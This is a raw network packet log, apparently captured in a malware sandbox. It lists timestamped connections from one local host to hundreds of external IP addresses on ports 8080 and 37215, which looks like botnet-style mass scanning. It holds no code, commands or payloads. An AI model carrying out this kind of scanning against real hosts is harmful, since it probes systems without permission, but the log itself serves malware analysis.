Oct 29, 2024 20:52:39.301136017 CET	56351	8080	192.168.2.13	95.115.187.74
Oct 29, 2024 20:52:39.301143885 CET	56351	8080	192.168.2.13	94.51.120.174
Oct 29, 2024 20:52:39.301155090 CET	56351	8080	192.168.2.13	94.28.163.105
Oct 29, 2024 20:52:39.301155090 CET	56351	8080	192.168.2.13	62.250.191.66
Oct 29, 2024 20:52:39.301167965 CET	56351	8080	192.168.2.13	94.234.53.81
Oct 29, 2024 20:52:39.301178932 CET	56351	8080	192.168.2.13	85.161.31.91
Oct 29, 2024 20:52:39.301183939 CET	56351	8080	192.168.2.13	94.208.100.169
Oct 29, 2024 20:52:39.301183939 CET	56351	8080	192.168.2.13	31.252.86.183
Oct 29, 2024 20:52:39.301184893 CET	56351	8080	192.168.2.13	62.66.98.41
Oct 29, 2024 20:52:39.301199913 CET	56351	8080	192.168.2.13	31.221.63.216
Oct 29, 2024 20:52:39.301203966 CET	56351	8080	192.168.2.13	94.227.179.45
Oct 29, 2024 20:52:39.301206112 CET	56351	8080	192.168.2.13	85.179.159.230
Oct 29, 2024 20:52:39.301206112 CET	56351	8080	192.168.2.13	95.59.20.62
Oct 29, 2024 20:52:39.301218987 CET	56351	8080	192.168.2.13	94.82.215.33
Oct 29, 2024 20:52:39.301223993 CET	56351	8080	192.168.2.13	31.34.111.192
Oct 29, 2024 20:52:39.301228046 CET	56351	8080	192.168.2.13	31.97.189.242
Oct 29, 2024 20:52:39.301230907 CET	56351	8080	192.168.2.13	31.114.94.58
Oct 29, 2024 20:52:39.301239014 CET	56351	8080	192.168.2.13	95.107.72.83
Oct 29, 2024 20:52:39.301259041 CET	56351	8080	192.168.2.13	62.88.219.13
Oct 29, 2024 20:52:39.301259041 CET	56351	8080	192.168.2.13	31.164.193.72
Oct 29, 2024 20:52:39.301259041 CET	56351	8080	192.168.2.13	31.117.85.165
Oct 29, 2024 20:52:39.301265001 CET	56351	8080	192.168.2.13	85.147.102.132
Oct 29, 2024 20:52:39.301274061 CET	56351	8080	192.168.2.13	31.67.254.87
Oct 29, 2024 20:52:39.301295042 CET	56351	8080	192.168.2.13	95.160.21.56
Oct 29, 2024 20:52:39.301295042 CET	56351	8080	192.168.2.13	95.169.10.127
Oct 29, 2024 20:52:39.301295042 CET	56351	8080	192.168.2.13	85.97.200.235
Oct 29, 2024 20:52:39.301300049 CET	56351	8080	192.168.2.13	85.91.212.36
Oct 29, 2024 20:52:39.301300049 CET	56351	8080	192.168.2.13	95.113.112.182
Oct 29, 2024 20:52:39.301300049 CET	56351	8080	192.168.2.13	94.215.20.74
Oct 29, 2024 20:52:39.301321983 CET	56351	8080	192.168.2.13	94.48.119.230
Oct 29, 2024 20:52:39.301326990 CET	56351	8080	192.168.2.13	31.67.109.150
Oct 29, 2024 20:52:39.301335096 CET	56351	8080	192.168.2.13	94.75.246.9
Oct 29, 2024 20:52:39.301340103 CET	56351	8080	192.168.2.13	95.77.87.181
Oct 29, 2024 20:52:39.301340103 CET	56351	8080	192.168.2.13	85.89.98.109
Oct 29, 2024 20:52:39.301348925 CET	56351	8080	192.168.2.13	31.240.148.109
Oct 29, 2024 20:52:39.301351070 CET	56351	8080	192.168.2.13	94.49.210.6
Oct 29, 2024 20:52:39.301352024 CET	56351	8080	192.168.2.13	31.115.156.228
Oct 29, 2024 20:52:39.301352024 CET	56351	8080	192.168.2.13	95.98.11.244
Oct 29, 2024 20:52:39.301371098 CET	56351	8080	192.168.2.13	62.231.97.190
Oct 29, 2024 20:52:39.301372051 CET	56351	8080	192.168.2.13	94.226.207.81
Oct 29, 2024 20:52:39.301374912 CET	56351	8080	192.168.2.13	94.193.162.145
Oct 29, 2024 20:52:39.301379919 CET	56351	8080	192.168.2.13	95.121.126.219
Oct 29, 2024 20:52:39.301398039 CET	56351	8080	192.168.2.13	94.32.90.76
Oct 29, 2024 20:52:39.301400900 CET	56351	8080	192.168.2.13	94.81.247.59
Oct 29, 2024 20:52:39.301403046 CET	56351	8080	192.168.2.13	94.46.246.197
Oct 29, 2024 20:52:39.301404953 CET	56351	8080	192.168.2.13	85.96.140.189
Oct 29, 2024 20:52:39.301408052 CET	56351	8080	192.168.2.13	31.4.253.234
Oct 29, 2024 20:52:39.301408052 CET	56351	8080	192.168.2.13	94.198.166.13
Oct 29, 2024 20:52:39.301408052 CET	56351	8080	192.168.2.13	95.255.33.171
Oct 29, 2024 20:52:39.301423073 CET	56351	8080	192.168.2.13	62.3.10.244
Oct 29, 2024 20:52:39.301423073 CET	56351	8080	192.168.2.13	85.147.136.57
Oct 29, 2024 20:52:39.301426888 CET	56351	8080	192.168.2.13	31.41.143.74
Oct 29, 2024 20:52:39.301443100 CET	56351	8080	192.168.2.13	95.165.209.13
Oct 29, 2024 20:52:39.301444054 CET	56351	8080	192.168.2.13	62.201.124.56
Oct 29, 2024 20:52:39.301445961 CET	56351	8080	192.168.2.13	94.181.213.110
Oct 29, 2024 20:52:39.301445961 CET	56351	8080	192.168.2.13	94.68.22.6
Oct 29, 2024 20:52:39.301450014 CET	56351	8080	192.168.2.13	94.184.197.55
Oct 29, 2024 20:52:39.301456928 CET	56351	8080	192.168.2.13	85.228.61.97
Oct 29, 2024 20:52:39.301465034 CET	56351	8080	192.168.2.13	95.1.130.37
Oct 29, 2024 20:52:39.301465988 CET	56351	8080	192.168.2.13	31.231.157.67
Oct 29, 2024 20:52:39.301477909 CET	56351	8080	192.168.2.13	31.246.55.128
Oct 29, 2024 20:52:39.301487923 CET	56351	8080	192.168.2.13	94.234.158.112
Oct 29, 2024 20:52:39.301489115 CET	56351	8080	192.168.2.13	31.211.70.176
Oct 29, 2024 20:52:39.301487923 CET	56351	8080	192.168.2.13	94.72.102.145
Oct 29, 2024 20:52:39.301490068 CET	56351	8080	192.168.2.13	85.83.130.83
Oct 29, 2024 20:52:39.301520109 CET	56351	8080	192.168.2.13	85.81.162.197
Oct 29, 2024 20:52:39.301522017 CET	56351	8080	192.168.2.13	95.48.230.84
Oct 29, 2024 20:52:39.301522970 CET	56351	8080	192.168.2.13	94.107.163.138
Oct 29, 2024 20:52:39.301526070 CET	56351	8080	192.168.2.13	31.173.194.252
Oct 29, 2024 20:52:39.301541090 CET	56351	8080	192.168.2.13	85.35.194.97
Oct 29, 2024 20:52:39.301541090 CET	56351	8080	192.168.2.13	31.156.246.177
Oct 29, 2024 20:52:39.301542044 CET	56351	8080	192.168.2.13	95.119.146.109
Oct 29, 2024 20:52:39.301542044 CET	56351	8080	192.168.2.13	85.68.109.151
Oct 29, 2024 20:52:39.301542044 CET	56351	8080	192.168.2.13	94.52.58.21
Oct 29, 2024 20:52:39.301557064 CET	56351	8080	192.168.2.13	31.90.204.232
Oct 29, 2024 20:52:39.301563978 CET	56351	8080	192.168.2.13	31.171.64.89
Oct 29, 2024 20:52:39.301563978 CET	56351	8080	192.168.2.13	94.170.166.124
Oct 29, 2024 20:52:39.301572084 CET	56351	8080	192.168.2.13	31.186.50.19
Oct 29, 2024 20:52:39.301572084 CET	56351	8080	192.168.2.13	31.120.30.188
Oct 29, 2024 20:52:39.301573992 CET	56351	8080	192.168.2.13	94.233.111.177
Oct 29, 2024 20:52:39.301587105 CET	56351	8080	192.168.2.13	95.83.219.160
Oct 29, 2024 20:52:39.301587105 CET	56351	8080	192.168.2.13	94.127.200.125
Oct 29, 2024 20:52:39.301589012 CET	56351	8080	192.168.2.13	62.65.135.3
Oct 29, 2024 20:52:39.301593065 CET	56351	8080	192.168.2.13	94.184.245.202
Oct 29, 2024 20:52:39.301603079 CET	56351	8080	192.168.2.13	62.251.189.164
Oct 29, 2024 20:52:39.301604986 CET	56351	8080	192.168.2.13	62.192.36.142
Oct 29, 2024 20:52:39.301604986 CET	56351	8080	192.168.2.13	31.145.20.97
Oct 29, 2024 20:52:39.301609039 CET	56351	8080	192.168.2.13	85.146.186.79
Oct 29, 2024 20:52:39.301609039 CET	56351	8080	192.168.2.13	62.44.240.70
Oct 29, 2024 20:52:39.301628113 CET	56351	8080	192.168.2.13	95.179.65.205
Oct 29, 2024 20:52:39.301629066 CET	56351	8080	192.168.2.13	85.142.110.221
Oct 29, 2024 20:52:39.301631927 CET	56351	8080	192.168.2.13	31.14.174.165
Oct 29, 2024 20:52:39.301632881 CET	56351	8080	192.168.2.13	85.24.161.228
Oct 29, 2024 20:52:39.301646948 CET	56351	8080	192.168.2.13	31.179.212.129
Oct 29, 2024 20:52:39.301646948 CET	56351	8080	192.168.2.13	95.244.188.159
Oct 29, 2024 20:52:39.301646948 CET	56351	8080	192.168.2.13	62.10.210.91
Oct 29, 2024 20:52:39.301649094 CET	56351	8080	192.168.2.13	95.118.172.153
Oct 29, 2024 20:52:39.301649094 CET	56351	8080	192.168.2.13	31.196.167.58
Oct 29, 2024 20:52:39.301666021 CET	56351	8080	192.168.2.13	31.209.25.16
Oct 29, 2024 20:52:39.301666021 CET	56351	8080	192.168.2.13	94.179.68.7
Oct 29, 2024 20:52:39.301676989 CET	56351	8080	192.168.2.13	31.205.208.64
Oct 29, 2024 20:52:39.301676989 CET	56351	8080	192.168.2.13	85.42.245.61
Oct 29, 2024 20:52:39.301678896 CET	56351	8080	192.168.2.13	85.30.167.33
Oct 29, 2024 20:52:39.301692963 CET	56351	8080	192.168.2.13	85.35.50.118
Oct 29, 2024 20:52:39.301697969 CET	56351	8080	192.168.2.13	94.103.227.209
Oct 29, 2024 20:52:39.301697969 CET	56351	8080	192.168.2.13	31.253.100.52
Oct 29, 2024 20:52:39.301703930 CET	56351	8080	192.168.2.13	31.4.3.81
Oct 29, 2024 20:52:39.301723003 CET	56351	8080	192.168.2.13	85.51.181.166
Oct 29, 2024 20:52:39.301723003 CET	56351	8080	192.168.2.13	94.241.186.117
Oct 29, 2024 20:52:39.301723957 CET	56351	8080	192.168.2.13	62.156.31.125
Oct 29, 2024 20:52:39.301738977 CET	56351	8080	192.168.2.13	31.250.29.72
Oct 29, 2024 20:52:39.301740885 CET	56351	8080	192.168.2.13	85.100.29.160
Oct 29, 2024 20:52:39.301745892 CET	56351	8080	192.168.2.13	95.254.136.1
Oct 29, 2024 20:52:39.301745892 CET	56351	8080	192.168.2.13	95.139.178.21
Oct 29, 2024 20:52:39.301757097 CET	56351	8080	192.168.2.13	85.203.143.212
Oct 29, 2024 20:52:39.301767111 CET	56351	8080	192.168.2.13	85.183.251.100
Oct 29, 2024 20:52:39.301767111 CET	56351	8080	192.168.2.13	85.161.130.208
Oct 29, 2024 20:52:39.301769018 CET	56351	8080	192.168.2.13	62.219.143.140
Oct 29, 2024 20:52:39.301770926 CET	56351	8080	192.168.2.13	94.169.63.65
Oct 29, 2024 20:52:39.301780939 CET	56351	8080	192.168.2.13	94.129.245.66
Oct 29, 2024 20:52:39.301811934 CET	56351	8080	192.168.2.13	95.76.55.33
Oct 29, 2024 20:52:39.301811934 CET	56351	8080	192.168.2.13	31.192.128.126
Oct 29, 2024 20:52:39.301816940 CET	56351	8080	192.168.2.13	85.118.247.207
Oct 29, 2024 20:52:39.301826000 CET	56351	8080	192.168.2.13	62.24.81.174
Oct 29, 2024 20:52:39.301826954 CET	56351	8080	192.168.2.13	94.13.198.146
Oct 29, 2024 20:52:39.301826000 CET	56351	8080	192.168.2.13	62.8.137.215
Oct 29, 2024 20:52:39.301827908 CET	56351	8080	192.168.2.13	95.193.248.29
Oct 29, 2024 20:52:39.301829100 CET	56351	8080	192.168.2.13	85.192.117.148
Oct 29, 2024 20:52:39.301827908 CET	56351	8080	192.168.2.13	31.152.13.135
Oct 29, 2024 20:52:39.301826954 CET	56351	8080	192.168.2.13	31.164.22.58
Oct 29, 2024 20:52:39.301826000 CET	56351	8080	192.168.2.13	94.39.33.191
Oct 29, 2024 20:52:39.301827908 CET	56351	8080	192.168.2.13	62.244.217.165
Oct 29, 2024 20:52:39.301829100 CET	56351	8080	192.168.2.13	94.120.19.122
Oct 29, 2024 20:52:39.301826000 CET	56351	8080	192.168.2.13	94.156.198.68
Oct 29, 2024 20:52:39.301837921 CET	56351	8080	192.168.2.13	31.66.38.158
Oct 29, 2024 20:52:39.301843882 CET	56351	8080	192.168.2.13	62.22.222.253
Oct 29, 2024 20:52:39.301855087 CET	56351	8080	192.168.2.13	85.126.205.116
Oct 29, 2024 20:52:39.301856995 CET	56351	8080	192.168.2.13	62.227.213.207
Oct 29, 2024 20:52:39.301872969 CET	56351	8080	192.168.2.13	62.56.131.145
Oct 29, 2024 20:52:39.301877975 CET	56351	8080	192.168.2.13	31.225.72.97
Oct 29, 2024 20:52:39.301881075 CET	56351	8080	192.168.2.13	94.39.148.241
Oct 29, 2024 20:52:39.301887035 CET	56351	8080	192.168.2.13	85.203.232.145
Oct 29, 2024 20:52:39.301898003 CET	56351	8080	192.168.2.13	95.47.92.93
Oct 29, 2024 20:52:39.301898003 CET	56351	8080	192.168.2.13	62.139.95.155
Oct 29, 2024 20:52:39.301898956 CET	56351	8080	192.168.2.13	85.170.45.238
Oct 29, 2024 20:52:39.301898003 CET	56351	8080	192.168.2.13	62.5.196.41
Oct 29, 2024 20:52:39.301911116 CET	56351	8080	192.168.2.13	95.238.69.81
Oct 29, 2024 20:52:39.301915884 CET	56351	8080	192.168.2.13	94.211.235.19
Oct 29, 2024 20:52:39.301925898 CET	56351	8080	192.168.2.13	62.38.30.112
Oct 29, 2024 20:52:39.301934004 CET	56351	8080	192.168.2.13	85.234.155.253
Oct 29, 2024 20:52:39.301938057 CET	56351	8080	192.168.2.13	62.213.219.82
Oct 29, 2024 20:52:39.301943064 CET	56351	8080	192.168.2.13	31.107.120.25
Oct 29, 2024 20:52:39.301943064 CET	56351	8080	192.168.2.13	62.112.115.81
Oct 29, 2024 20:52:39.301954031 CET	56351	8080	192.168.2.13	62.135.200.53
Oct 29, 2024 20:52:39.301958084 CET	56351	8080	192.168.2.13	85.3.97.35
Oct 29, 2024 20:52:39.301963091 CET	56351	8080	192.168.2.13	31.179.223.48
Oct 29, 2024 20:52:39.301986933 CET	56351	8080	192.168.2.13	95.182.132.121
Oct 29, 2024 20:52:39.301986933 CET	56351	8080	192.168.2.13	31.220.20.64
Oct 29, 2024 20:52:39.301987886 CET	56351	8080	192.168.2.13	94.253.185.115
Oct 29, 2024 20:52:39.301995993 CET	56351	8080	192.168.2.13	62.101.178.190
Oct 29, 2024 20:52:39.301995993 CET	56351	8080	192.168.2.13	85.15.98.209
Oct 29, 2024 20:52:39.301999092 CET	56351	8080	192.168.2.13	85.250.146.236
Oct 29, 2024 20:52:39.301999092 CET	56351	8080	192.168.2.13	62.161.202.232
Oct 29, 2024 20:52:39.302009106 CET	56351	8080	192.168.2.13	94.142.20.141
Oct 29, 2024 20:52:39.302009106 CET	56351	8080	192.168.2.13	62.198.118.44
Oct 29, 2024 20:52:39.302010059 CET	56351	8080	192.168.2.13	62.105.118.41
Oct 29, 2024 20:52:39.302015066 CET	56351	8080	192.168.2.13	31.206.92.235
Oct 29, 2024 20:52:39.302035093 CET	56351	8080	192.168.2.13	95.214.236.117
Oct 29, 2024 20:52:39.302037954 CET	56351	8080	192.168.2.13	31.194.61.3
Oct 29, 2024 20:52:39.302037954 CET	56351	8080	192.168.2.13	62.152.67.50
Oct 29, 2024 20:52:39.302037954 CET	56351	8080	192.168.2.13	94.130.180.199
Oct 29, 2024 20:52:39.302040100 CET	56351	8080	192.168.2.13	31.187.222.44
Oct 29, 2024 20:52:39.302040100 CET	56351	8080	192.168.2.13	62.67.47.78
Oct 29, 2024 20:52:39.302052021 CET	56351	8080	192.168.2.13	95.92.50.149
Oct 29, 2024 20:52:39.302054882 CET	56351	8080	192.168.2.13	62.246.50.187
Oct 29, 2024 20:52:39.302064896 CET	56351	8080	192.168.2.13	85.135.221.171
Oct 29, 2024 20:52:39.302073956 CET	56351	8080	192.168.2.13	31.21.25.114
Oct 29, 2024 20:52:39.302077055 CET	56351	8080	192.168.2.13	31.11.237.30
Oct 29, 2024 20:52:39.302082062 CET	56351	8080	192.168.2.13	62.131.125.7
Oct 29, 2024 20:52:39.302083015 CET	56351	8080	192.168.2.13	31.237.175.57
Oct 29, 2024 20:52:39.302098036 CET	56351	8080	192.168.2.13	94.235.67.40
Oct 29, 2024 20:52:39.302098036 CET	56351	8080	192.168.2.13	31.64.61.208
Oct 29, 2024 20:52:39.302098036 CET	56351	8080	192.168.2.13	85.226.106.72
Oct 29, 2024 20:52:39.302105904 CET	56351	8080	192.168.2.13	85.110.177.183
Oct 29, 2024 20:52:39.302112103 CET	56351	8080	192.168.2.13	94.163.172.98
Oct 29, 2024 20:52:39.302126884 CET	56351	8080	192.168.2.13	95.164.221.235
Oct 29, 2024 20:52:39.302128077 CET	56351	8080	192.168.2.13	94.52.216.122
Oct 29, 2024 20:52:39.302128077 CET	56351	8080	192.168.2.13	31.188.55.183
Oct 29, 2024 20:52:39.302129984 CET	56351	8080	192.168.2.13	62.83.14.61
Oct 29, 2024 20:52:39.302129984 CET	56351	8080	192.168.2.13	62.124.114.96
Oct 29, 2024 20:52:39.302145004 CET	56351	8080	192.168.2.13	94.38.253.2
Oct 29, 2024 20:52:39.302145958 CET	56351	8080	192.168.2.13	94.49.51.27
Oct 29, 2024 20:52:39.302145958 CET	56351	8080	192.168.2.13	31.19.116.70
Oct 29, 2024 20:52:39.302151918 CET	56351	8080	192.168.2.13	94.166.140.59
Oct 29, 2024 20:52:39.302160025 CET	56351	8080	192.168.2.13	31.153.17.134
Oct 29, 2024 20:52:39.302177906 CET	56351	8080	192.168.2.13	85.123.192.59
Oct 29, 2024 20:52:39.302177906 CET	56351	8080	192.168.2.13	62.19.187.75
Oct 29, 2024 20:52:39.302180052 CET	56351	8080	192.168.2.13	62.214.88.201
Oct 29, 2024 20:52:39.302177906 CET	56351	8080	192.168.2.13	85.180.97.51
Oct 29, 2024 20:52:39.302180052 CET	56351	8080	192.168.2.13	94.153.252.129
Oct 29, 2024 20:52:39.302244902 CET	56351	8080	192.168.2.13	94.184.217.24
Oct 29, 2024 20:52:39.302244902 CET	56351	8080	192.168.2.13	95.99.106.87
Oct 29, 2024 20:52:39.302246094 CET	56351	8080	192.168.2.13	62.190.191.82
Oct 29, 2024 20:52:39.302620888 CET	8080	56351	62.193.255.141	192.168.2.13
Oct 29, 2024 20:52:39.302691936 CET	56351	8080	192.168.2.13	62.193.255.141
Oct 29, 2024 20:52:39.302916050 CET	8080	32810	31.120.245.195	192.168.2.13
Oct 29, 2024 20:52:39.302966118 CET	32810	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:39.302969933 CET	8080	39032	85.59.61.243	192.168.2.13
Oct 29, 2024 20:52:39.303363085 CET	8080	39032	85.59.61.243	192.168.2.13
Oct 29, 2024 20:52:39.303423882 CET	39032	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:39.316515923 CET	37215	57220	197.125.166.82	192.168.2.13
Oct 29, 2024 20:52:39.316523075 CET	37215	43722	197.22.18.13	192.168.2.13
Oct 29, 2024 20:52:39.323174000 CET	38786	8080	192.168.2.13	62.85.170.146
Oct 29, 2024 20:52:39.323174953 CET	40344	8080	192.168.2.13	62.166.107.70
Oct 29, 2024 20:52:39.323175907 CET	46710	8080	192.168.2.13	62.3.38.167
Oct 29, 2024 20:52:39.323177099 CET	48684	37215	192.168.2.13	197.183.11.72
Oct 29, 2024 20:52:39.323204041 CET	37638	37215	192.168.2.13	197.206.189.198
Oct 29, 2024 20:52:39.323204041 CET	59370	37215	192.168.2.13	197.134.32.72
Oct 29, 2024 20:52:39.323204041 CET	35152	37215	192.168.2.13	197.154.91.203
Oct 29, 2024 20:52:39.323208094 CET	34260	8080	192.168.2.13	31.128.214.100
Oct 29, 2024 20:52:39.323208094 CET	55622	37215	192.168.2.13	197.40.215.134
Oct 29, 2024 20:52:39.323206902 CET	54362	8080	192.168.2.13	94.175.133.203
Oct 29, 2024 20:52:39.323210955 CET	40154	37215	192.168.2.13	197.186.206.62
Oct 29, 2024 20:52:39.323208094 CET	59574	37215	192.168.2.13	197.254.241.184
Oct 29, 2024 20:52:39.323208094 CET	59954	37215	192.168.2.13	197.253.150.43
Oct 29, 2024 20:52:39.323210955 CET	53592	37215	192.168.2.13	197.250.165.168
Oct 29, 2024 20:52:39.323210955 CET	55774	37215	192.168.2.13	197.224.114.42
Oct 29, 2024 20:52:39.323208094 CET	37812	37215	192.168.2.13	197.197.68.118
Oct 29, 2024 20:52:39.323208094 CET	58888	37215	192.168.2.13	197.82.38.233
Oct 29, 2024 20:52:39.329294920 CET	8080	38786	62.85.170.146	192.168.2.13
Oct 29, 2024 20:52:39.329315901 CET	8080	40344	62.166.107.70	192.168.2.13
Oct 29, 2024 20:52:39.329377890 CET	38786	8080	192.168.2.13	62.85.170.146
Oct 29, 2024 20:52:39.329380989 CET	40344	8080	192.168.2.13	62.166.107.70
Oct 29, 2024 20:52:39.329447985 CET	40344	8080	192.168.2.13	62.166.107.70
Oct 29, 2024 20:52:39.329762936 CET	38786	8080	192.168.2.13	62.85.170.146
Oct 29, 2024 20:52:39.330296040 CET	34838	8080	192.168.2.13	62.193.255.141
Oct 29, 2024 20:52:39.336033106 CET	8080	40344	62.166.107.70	192.168.2.13
Oct 29, 2024 20:52:39.336102009 CET	40344	8080	192.168.2.13	62.166.107.70
Oct 29, 2024 20:52:39.336697102 CET	8080	38786	62.85.170.146	192.168.2.13
Oct 29, 2024 20:52:39.336750031 CET	8080	34838	62.193.255.141	192.168.2.13
Oct 29, 2024 20:52:39.336762905 CET	38786	8080	192.168.2.13	62.85.170.146
Oct 29, 2024 20:52:39.336873055 CET	34838	8080	192.168.2.13	62.193.255.141
Oct 29, 2024 20:52:39.336873055 CET	34838	8080	192.168.2.13	62.193.255.141
Oct 29, 2024 20:52:39.336873055 CET	34838	8080	192.168.2.13	62.193.255.141
Oct 29, 2024 20:52:39.337372065 CET	34840	8080	192.168.2.13	62.193.255.141
Oct 29, 2024 20:52:39.342232943 CET	8080	34838	62.193.255.141	192.168.2.13
Oct 29, 2024 20:52:39.343053102 CET	8080	34840	62.193.255.141	192.168.2.13
Oct 29, 2024 20:52:39.343198061 CET	34840	8080	192.168.2.13	62.193.255.141
Oct 29, 2024 20:52:39.343198061 CET	34840	8080	192.168.2.13	62.193.255.141
Oct 29, 2024 20:52:39.349296093 CET	8080	34840	62.193.255.141	192.168.2.13
Oct 29, 2024 20:52:39.349442959 CET	34840	8080	192.168.2.13	62.193.255.141
Oct 29, 2024 20:52:39.355160952 CET	36198	37215	192.168.2.13	197.154.48.66
Oct 29, 2024 20:52:39.355171919 CET	47200	37215	192.168.2.13	197.64.43.119
Oct 29, 2024 20:52:39.355171919 CET	39878	37215	192.168.2.13	197.147.130.149
Oct 29, 2024 20:52:39.355171919 CET	52182	37215	192.168.2.13	197.185.158.42
Oct 29, 2024 20:52:39.355174065 CET	53714	37215	192.168.2.13	197.171.251.64
Oct 29, 2024 20:52:39.355178118 CET	34476	37215	192.168.2.13	197.123.48.178
Oct 29, 2024 20:52:39.355176926 CET	59024	37215	192.168.2.13	197.88.150.253
Oct 29, 2024 20:52:39.355180025 CET	51520	37215	192.168.2.13	197.67.160.172
Oct 29, 2024 20:52:39.355176926 CET	56502	37215	192.168.2.13	197.163.239.204
Oct 29, 2024 20:52:39.355196953 CET	45354	37215	192.168.2.13	197.71.165.242
Oct 29, 2024 20:52:39.355196953 CET	55430	37215	192.168.2.13	197.2.190.187
Oct 29, 2024 20:52:39.355204105 CET	45752	37215	192.168.2.13	197.145.122.216
Oct 29, 2024 20:52:39.355206013 CET	41906	37215	192.168.2.13	197.245.250.35
Oct 29, 2024 20:52:39.355206013 CET	60084	37215	192.168.2.13	197.93.148.232
Oct 29, 2024 20:52:39.355207920 CET	59780	37215	192.168.2.13	197.189.215.204
Oct 29, 2024 20:52:39.355204105 CET	44050	37215	192.168.2.13	197.33.166.216
Oct 29, 2024 20:52:39.355204105 CET	58698	37215	192.168.2.13	197.140.16.32
Oct 29, 2024 20:52:39.360483885 CET	37215	36198	197.154.48.66	192.168.2.13
Oct 29, 2024 20:52:39.360558987 CET	36198	37215	192.168.2.13	197.154.48.66
Oct 29, 2024 20:52:39.361352921 CET	59104	37215	192.168.2.13	41.142.40.183
Oct 29, 2024 20:52:39.362276077 CET	36198	37215	192.168.2.13	197.154.48.66
Oct 29, 2024 20:52:39.362307072 CET	36198	37215	192.168.2.13	197.154.48.66
Oct 29, 2024 20:52:39.367069960 CET	37215	59104	41.142.40.183	192.168.2.13
Oct 29, 2024 20:52:39.367145061 CET	59104	37215	192.168.2.13	41.142.40.183
Oct 29, 2024 20:52:39.367187977 CET	59104	37215	192.168.2.13	41.142.40.183
Oct 29, 2024 20:52:39.367187977 CET	59104	37215	192.168.2.13	41.142.40.183
Oct 29, 2024 20:52:39.367754936 CET	37215	36198	197.154.48.66	192.168.2.13
Oct 29, 2024 20:52:39.372636080 CET	37215	59104	41.142.40.183	192.168.2.13
Oct 29, 2024 20:52:39.387160063 CET	48156	37215	192.168.2.13	197.186.244.5
Oct 29, 2024 20:52:39.387160063 CET	43888	37215	192.168.2.13	197.175.186.91
Oct 29, 2024 20:52:39.387165070 CET	48656	37215	192.168.2.13	197.74.194.72
Oct 29, 2024 20:52:39.387160063 CET	58502	37215	192.168.2.13	197.69.142.211
Oct 29, 2024 20:52:39.387161016 CET	56998	37215	192.168.2.13	197.22.128.238
Oct 29, 2024 20:52:39.387165070 CET	49944	37215	192.168.2.13	197.34.245.164
Oct 29, 2024 20:52:39.387166977 CET	33356	37215	192.168.2.13	197.139.97.23
Oct 29, 2024 20:52:39.387166977 CET	54660	37215	192.168.2.13	197.96.10.152
Oct 29, 2024 20:52:39.387171030 CET	36440	37215	192.168.2.13	197.190.182.202
Oct 29, 2024 20:52:39.387171030 CET	43938	37215	192.168.2.13	197.237.156.86
Oct 29, 2024 20:52:39.387180090 CET	59498	37215	192.168.2.13	197.26.246.13
Oct 29, 2024 20:52:39.387180090 CET	34720	37215	192.168.2.13	197.100.167.241
Oct 29, 2024 20:52:39.387178898 CET	50830	37215	192.168.2.13	197.128.243.234
Oct 29, 2024 20:52:39.387178898 CET	33446	37215	192.168.2.13	197.70.245.231
Oct 29, 2024 20:52:39.387178898 CET	46118	37215	192.168.2.13	197.234.179.44
Oct 29, 2024 20:52:39.387187004 CET	57952	37215	192.168.2.13	197.149.94.181
Oct 29, 2024 20:52:39.387187958 CET	59250	37215	192.168.2.13	197.247.6.61
Oct 29, 2024 20:52:39.387187958 CET	55678	37215	192.168.2.13	197.23.56.133
Oct 29, 2024 20:52:39.387187958 CET	57060	37215	192.168.2.13	197.105.13.224
Oct 29, 2024 20:52:39.387201071 CET	50442	37215	192.168.2.13	197.90.162.172
Oct 29, 2024 20:52:39.387202024 CET	59384	37215	192.168.2.13	197.172.55.26
Oct 29, 2024 20:52:39.387207031 CET	57170	37215	192.168.2.13	197.125.41.102
Oct 29, 2024 20:52:39.387223005 CET	55746	37215	192.168.2.13	197.148.49.164
Oct 29, 2024 20:52:39.387223959 CET	48332	37215	192.168.2.13	197.131.116.90
Oct 29, 2024 20:52:39.387223959 CET	44542	37215	192.168.2.13	197.66.98.156
Oct 29, 2024 20:52:39.391130924 CET	8080	34838	62.193.255.141	192.168.2.13
Oct 29, 2024 20:52:39.392617941 CET	37215	48656	197.74.194.72	192.168.2.13
Oct 29, 2024 20:52:39.392643929 CET	37215	48156	197.186.244.5	192.168.2.13
Oct 29, 2024 20:52:39.392781973 CET	48156	37215	192.168.2.13	197.186.244.5
Oct 29, 2024 20:52:39.392781973 CET	48156	37215	192.168.2.13	197.186.244.5
Oct 29, 2024 20:52:39.392784119 CET	48656	37215	192.168.2.13	197.74.194.72
Oct 29, 2024 20:52:39.392784119 CET	48656	37215	192.168.2.13	197.74.194.72
Oct 29, 2024 20:52:39.392847061 CET	48156	37215	192.168.2.13	197.186.244.5
Oct 29, 2024 20:52:39.392847061 CET	48656	37215	192.168.2.13	197.74.194.72
Oct 29, 2024 20:52:39.398165941 CET	37215	48156	197.186.244.5	192.168.2.13
Oct 29, 2024 20:52:39.398170948 CET	37215	48656	197.74.194.72	192.168.2.13
Oct 29, 2024 20:52:39.411031008 CET	37215	36198	197.154.48.66	192.168.2.13
Oct 29, 2024 20:52:39.414999962 CET	37215	59104	41.142.40.183	192.168.2.13
Oct 29, 2024 20:52:39.419156075 CET	34946	37215	192.168.2.13	197.203.107.151
Oct 29, 2024 20:52:39.419157982 CET	55790	37215	192.168.2.13	197.117.170.246
Oct 29, 2024 20:52:39.419163942 CET	40220	37215	192.168.2.13	197.24.63.62
Oct 29, 2024 20:52:39.419166088 CET	46548	37215	192.168.2.13	197.78.20.163
Oct 29, 2024 20:52:39.419167995 CET	43810	37215	192.168.2.13	197.244.69.115
Oct 29, 2024 20:52:39.419167995 CET	37696	37215	192.168.2.13	197.245.57.241
Oct 29, 2024 20:52:39.419166088 CET	38122	37215	192.168.2.13	197.235.199.38
Oct 29, 2024 20:52:39.419178009 CET	56556	37215	192.168.2.13	197.163.85.203
Oct 29, 2024 20:52:39.419178009 CET	40548	37215	192.168.2.13	197.213.247.174
Oct 29, 2024 20:52:39.419178009 CET	33016	37215	192.168.2.13	197.20.157.126
Oct 29, 2024 20:52:39.419183016 CET	48422	37215	192.168.2.13	197.226.32.137
Oct 29, 2024 20:52:39.419183016 CET	43644	37215	192.168.2.13	197.101.145.76
Oct 29, 2024 20:52:39.419190884 CET	59620	37215	192.168.2.13	197.169.143.192
Oct 29, 2024 20:52:39.419212103 CET	45372	37215	192.168.2.13	197.157.230.243
Oct 29, 2024 20:52:39.425380945 CET	37215	55790	197.117.170.246	192.168.2.13
Oct 29, 2024 20:52:39.425386906 CET	37215	43810	197.244.69.115	192.168.2.13
